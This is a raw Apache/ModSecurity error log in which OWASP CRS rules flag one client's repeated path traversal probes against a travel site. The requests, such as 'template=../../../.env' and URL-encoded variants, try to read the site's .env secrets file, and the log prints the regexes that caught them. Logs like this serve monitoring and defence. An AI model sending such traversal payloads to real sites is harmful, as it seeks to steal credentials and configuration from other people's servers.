[hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.548820 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../.env&junk=vbvgzvhsopl4upca7envjld4dmoo0q_srhvrnbgzrfe1j9oestjgsbpfkzvaavnz0bcpdj054xq8p6emg9y1fym615mvuq6klripk439pev7ax4q6jtjkqidesldxjasadb5m4inq8hak1wmu93lehxttsjuwttuvzjdu3oryo5jzpq3-2hf_kaw0lmrmompnzzkiwmq4hwllccuxqe7euum127tnxi2zy3lcaioexbblsk5nahvzsx-b3i9ieyj9yvbc0evjcxzfskp_ov31epv&token=4oiklg4242cu6pip3f3yyby4r43q2h4qarmetdgnkoq5o6dm5ahx77wd4a2apfew5nmy6uo4nrhp5babuwo3iyuwzmde7eunqbpdl6ad33rcbn46icl7sz4satbyvph4ebzfltnesgxxv7w3ufj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.548843 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.548861 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.548860 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../.env&ref=IM-AKZCJQ4o1rNiKm44G-_b8XVwxxkv-P2f1TXE4rAriCekeMvIJRE8rJlK4oT8JeXgWlPvzKUlVrmECvnVUvPoTGQIJQGIyt4c9ZT1sty2v4dfPdFby9jrUC5E7Ebc7pgf3ceTBsN59b9oa6bGtk2TqgFIu218A1NCRIQDI_uqCUPO7_6ItCtkkiYvG3Wn3g0Y9iBQ_L9j0sg_oFD1z6FbADiHM6ZVLHZBU5Q_DOQvaAoUVktksZfmSIkNxUYLxgK_uaClZGFqjq2-qAMk_GKj8&token=CRGPEI5KEO6MKB54VPEECFLGVPY5ID3S2CVED445TIR5U2ZLKDRTGBZDS6EL67PWZXVWPWG4RU566CBOEKEYAS67VGABBTE35CHFVCMIJXY7JVVTH6WMR7D5RKSJN7FIILGAAIHV4Q455VEF2IOACDK..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.548918 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../.env&ref=im-akzcjq4o1rnikm44g-_b8xvwxxkv-p2f1txe4raricekemvijre8rjlk4ot8jexgwlpvzkulvrmecvnvuvpotgqijqgiyt4c9zt1sty2v4dfpdfby9jruc5e7ebc7pgf3cetbsn59b9oa6bgtk2tqgfiu218a1ncriqdi_uqcupo7_6itctkkiyvg3wn3g0y9ibq_l9j0sg_ofd1z6fbadihm6zvlhzbu5q_doqvaaouvktkszfmsiknxuylxgk_uaclzgfqjq2-qamk_gkj8&token=crgpei5keo6mkb54vpeecflgvpy5id3s2cved445tir5u2zlkdrtgbzds6el67pwzxvwpwg4ru566cboekeyas67vgabbte35chfvcmijxy7jvvth6wmr7d5rksjn7fiilgaaihv4q455vef2ioacdk..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.548951 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.548979 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.550011 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.550141 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.550154 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.550298 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.550416 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkol9vhFBGA6D8l95lwAAAAw"]
[Fri Jul 17 08:55:06.550683 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkqquHSHoCJK_V0SBPgAAABs"]
[Fri Jul 17 08:55:06.552365 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2F..%2F..%2F.env&token=rXIHExlVHqMbFEzJRL-IpnIVaRqKvyJ24VozPjYTD6gMRAARZv_fhQuHriof9PSbrXRUIvj5bWJu1mZP0__OCZ4S_tKLaXrSriLotd8c0qia-khjeFk1R8LKhP_rc_XgOa2cLw94Q0rJktxSrZvQOzsSFJ7as5faGOjXgyJNS4Iud9StstH-0aA1NUEay4vekwhMDjSZRBfjquzHzvbsZ3hPLuChohtXTM1lzAEPfzkl3iN5yCRk0T4m4k8a5YdJF3luQCqX0LoAtW7W0iu5d8hS&ref=XE7D3HA4ZRXGP7VNDDHFMNOP7JDYVOXEARO25CD5C6F4B6UJWSNGV65ZQN4VBMGG2UTONSNHHBSN3KNFTGV3DEXVTEYMUPCPZ7JLJNHAIGEQB4XISFM2H7KVUU4TPP7YO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.552407 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.552463 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../../.env&token=rXIHExlVHqMbFEzJRL-IpnIVaRqKvyJ24VozPjYTD6gMRAARZv_fhQuHriof9PSbrXRUIvj5bWJu1mZP0__OCZ4S_tKLaXrSriLotd8c0qia-khjeFk1R8LKhP_rc_XgOa2cLw94Q0rJktxSrZvQOzsSFJ7as5faGOjXgyJNS4Iud9StstH-0aA1NUEay4vekwhMDjSZRBfjquzHzvbsZ3hPLuChohtXTM1lzAEPfzkl3iN5yCRk0T4m4k8a5YdJF3luQCqX0LoAtW7W0iu5d8hS&ref=XE7D3HA4ZRXGP7VNDDHFMNOP7JDYVOXEARO25CD5C6F4B6UJWSNGV65ZQN4VBMGG2UTONSNHHBSN3KNFTGV3DEXVTEYMUPCPZ7JLJNHAIGEQB4XISFM2H7KVUU4TPP7YOS4OQ5ZX6V3ARIFDM..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.552500 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../../.env&token=rxihexlvhqmbfezjrl-ipnivarqkvyj24vozpjytd6gmraarzv_fhquhriof9psbrxruivj5bwju1mzp0__ocz4s_tklaxrsrilotd8c0qia-khjefk1r8lkhp_rc_xgoa2clw94q0rjktxsrzvqozssfj7as5fagojxgyjns4iud9ststh-0aa1nueay4vekwhmdjszrbfjquzhzvbsz3hpluchohtxtm1lzaepfzkl3in5ycrk0t4m4k8a5ydjf3luqcqx0loatw7w0iu5d8hs&ref=xe7d3ha4zrxgp7vnddhfmnop7jdyvoxearo25cd5c6f4b6ujwsngv65zqn4vbmgg2utonsnhhbsn3knftgv3dexvteymupcpz7jljnhaigeqb4xisfm2h7kvuu4tpp7yos4oq5zx6v3arifdm..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.552531 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.552551 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.560024 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAAAAAAM"]
[Fri Jul 17 08:55:06.560099 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:template: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAAAAAAM"]
[Fri Jul 17 08:55:06.561381 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhHlOGcokz2QIwTTAAAAAAM"]
[Fri Jul 17 08:55:06.561577 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.561948 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkhHlOGcokz2QIwTTAAAAAAM"]
[Fri Jul 17 08:55:06.564267 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.564430 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:06.564781 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkl1_86A5R6msWNfUSwAAABI"]
[Fri Jul 17 08:55:06.622504 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?template=..%2F..%2F..%2F..%2F..%2F.env&debug=wP-YBWj1Qv6ry5jy9ux3OPLaqBbvHhELhcB2Scpsc9CAb6K619_lkUpLWn7Y8ZGOeU8CDWv-uiFf1BOaR8iOkqZ308m8w9yY_uKB2oLh89qXrExReuE-onj7M9U0U8L29sau4mF4WXlElU9zRZ7UpbhW2biYAL3SqMCabsZEfkrEUR1-1ZVQTNGuCyCdnov3V6yk8d2eX5JhvMEobABVsWjNFlWzRNWF5HhnxniA8iHFW_Bq_5TWftX_0wFsiKQPZBiGsSbr30X-u_-Cs6vxs23m&ref=HMCZK4TDVJBJ5T2EVCRJQDOVQP6HW6ERMMMYXLMQ62K7VUDJZVNL56D7GJN5LJJJRRV6SNSAD3TOCE3BZFFZ3MUPLECVISOBLTDGVTS5LOKAV4BPHGCGM66LI4BM..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.622569 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:template: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkhAi3pC6yjXGNq2ATAAAAAU"]
[Fri Jul 17 08:55:06.622629 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?template=../../../../../.env&debug=wP-YBWj1Qv6ry5jy9ux3OPLaqBbvHhELhcB2Scpsc9CAb6K619_lkUpLWn7Y8ZGOeU8CDWv-uiFf1BOaR8iOkqZ308m8w9yY_uKB2oLh89qXrExReuE-onj7M9U0U8L29sau4mF4WXlElU9zRZ7UpbhW2biYAL3SqMCabsZEfkrEUR1-1ZVQTNGuCyCdnov3V6yk8d2eX5JhvMEobABVsWjNFlWzRNWF5HhnxniA8iHFW_Bq_5TWftX_0wFsiKQPZBiGsSbr30X-u_-Cs6vxs23m&ref=HMCZK4TDVJBJ5T2EVCRJQDOVQP6HW6ERMMMYXLMQ62K7VUDJZVNL56D7GJN5LJJJRRV6SNSAD3TOCE3BZFFZ3MUPLECVISOBLTDGVTS5LOKAV4BPHGCGM66LI4BMPL6GWWZVEEDBZGCILJ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] 